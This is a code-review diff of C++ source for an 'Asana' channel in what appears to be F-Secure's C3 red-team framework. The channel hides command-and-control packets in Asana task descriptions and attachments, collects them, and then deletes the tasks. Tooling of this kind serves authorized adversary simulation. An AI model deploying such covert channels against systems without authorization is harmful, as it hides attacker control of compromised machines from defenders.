|
||||
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::Asana::OnReceiveFromChannel()
|
||||
{
|
||||
std::vector<std::tuple<std::string, std::string, std::vector<uint8_t>, bool>> tasks = m_asanaObj.GetTasks();
|
||||
// Sort tasks by creation time
|
||||
std::sort(tasks.begin(), tasks.end(), [](auto const& a, auto const& b) -> bool { return std::get<1>(a) < std::get<1>(b); });
|
||||
// Get packets from tasks
|
||||
std::vector<ByteVector> ret;
|
||||
std::vector<std::string> tasksToDelete;
|
||||
for (auto& t : tasks) {
|
||||
std::string taskId = std::get<0>(t);
|
||||
std::vector<uint8_t> unprocessedTaskBody = std::get<2>(t);
|
||||
ByteVector taskBodyByteVector;
|
||||
if (std::get<3>(t)) { // If the body came from the attachments, we need to delete the prefix we added in OnSendToChannel.
|
||||
std::vector<uint8_t> contentWithoutPrefix(std::make_move_iterator(unprocessedTaskBody.begin() + m_attachmentPrefix.size()), std::make_move_iterator(unprocessedTaskBody.end()));
|
||||
taskBodyByteVector = ByteVector(contentWithoutPrefix);
|
||||
} else { // If the body came from the description, we need to base64 decode it.
|
||||
taskBodyByteVector = ByteVector(cppcodec::base64_rfc4648::decode(unprocessedTaskBody));
|
||||
}
|
||||
ret.emplace_back(taskBodyByteVector);
|
||||
tasksToDelete.push_back(std::move(taskId));
|
||||
}
|
||||
// Delete processed tasks
|
||||
for (auto& taskId : tasksToDelete) {
|
||||
m_asanaObj.DeleteTask(taskId);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
const char* FSecure::C3::Interfaces::Channels::Asana::GetCapability()
|
||||
{
|
||||
return R"_(
|
||||
{
|
||||
"create":
|
||||
{
|
||||
"arguments":
|
||||
[
|
||||
[
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Input ID",
|
||||
"min": 4,
|
||||
"randomize": true,
|
||||
"description": "Used to distinguish packets for the channel"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Output ID",
|
||||
"min": 4,
|
||||
"randomize": true,
|
||||
"description": "Used to distinguish packets from the channel"
|
||||
}
|
||||
],
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Asana Personal Access Token",
|
||||
"min": 1,
|
||||
"description": "This token is what channel needs to interact with Asana's API"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Project ID",
|
||||
"min": 1,
|
||||
"description": "The Project ID of the Asana project"
|
||||
}
|
||||
]
|
||||
},
|
||||
"commands": []
|
||||
}
|
||||
)_";
|
||||
}
|
|
@ -0,0 +1,47 @@
|
|||
#pragma once
|
||||
|
||||
#include "Common/FSecure/AsanaApi/AsanaApi.h"
|
||||
|
||||
namespace FSecure::C3::Interfaces::Channels
|
||||
{
|
||||
///Implementation of the Asana Channel.
|
||||
struct Asana : public Channel<Asana>
|
||||
{
|
||||
/// Public constructor.
|
||||
/// @param arguments factory arguments.
|
||||
Asana(ByteView arguments);
|
||||
|
||||
/// Destructor
|
||||
virtual ~Asana() = default;
|
||||
|
||||
/// OnSend callback implementation.
|
||||
/// @param packet data to send to Channel.
|
||||
/// @returns size_t number of bytes successfully written.
|
||||
size_t OnSendToChannel(ByteView packet);
|
||||
|
||||
/// Reads C3 packets from Channel.
|
||||
/// @return packets retrieved from Channel.
|
||||
std::vector<ByteVector> OnReceiveFromChannel();
|
||||
|
||||
/// Get channel capability.
|
||||
/// @returns Channel capability in JSON format
|
||||
static const char* GetCapability();
|
||||
|
||||
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
|
||||
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3000ms, s_MaxUpdateDelay = 6000ms;
|
||||
protected:
|
||||
/// The inbound direction name of data
|
||||
std::string m_inboundDirectionName;
|
||||
|
||||
/// The outbound direction name, the opposite of m_inboundDirectionName
|
||||
std::string m_outboundDirectionName;
|
||||
|
||||
private:
|
||||
/// An object encapsulating Asana's API
|
||||
FSecure::AsanaApi m_asanaObj;
|
||||
|
||||
// The prefix for all attachments
|
||||
FSecure::ByteVector m_attachmentPrefix;
|
||||
};
|
||||
}
|
||||
|
|
@ -1,7 +1,6 @@
|
|||
#pragma once
|
||||
|
||||
#include "../Config.h"
|
||||
#include "../../WinTools/WindowsVersion.h"
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
|
||||
|
|
Loading…
Reference in New Issue